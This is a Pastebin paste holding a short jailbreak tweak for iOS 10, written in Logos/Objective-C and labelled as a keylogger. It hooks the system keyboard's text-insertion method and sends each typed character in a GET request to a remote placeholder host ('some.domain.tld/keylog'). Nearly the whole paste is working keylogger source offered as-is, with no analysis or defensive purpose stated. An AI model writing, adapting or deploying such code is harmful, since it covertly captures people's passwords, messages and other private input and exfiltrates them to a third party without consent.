FanHamMer

_-i0s.100-logger

Aug 13th, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // iOS 10 Keylogger
  2. %hook UIKeyboardImpl
  3.  
  4. -(void)insertText:(NSString *)arg1 {
  5.     dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
  6.         NSMutableURLRequest *request = [[NSMutableURLRequest alloc] init];
  7.         [request setHTTPMethod:@"GET"];
  8.         [request setURL:[NSURL URLWithString:[NSString stringWithFormat:@"https://some.domain.tld/keylog?key=%@", arg1]]];
  9.  
  10.         NSError *error = nil;
  11.         NSHTTPURLResponse *responseCode = nil;
  12.  
  13.         NSData *oResponseData = [NSURLConnection sendSynchronousRequest:request returningResponse:&responseCode error:&error];
  14.  
  15.         if([responseCode statusCode] != 200){
  16.             NSLog(@"Fail");
  17.         } else {
  18.             NSLog(@"OK");
  19.         }
  20.     });
  21.     %orig;
  22. }
  23.  
  24. %end
Add Comment
Please, Sign In to add comment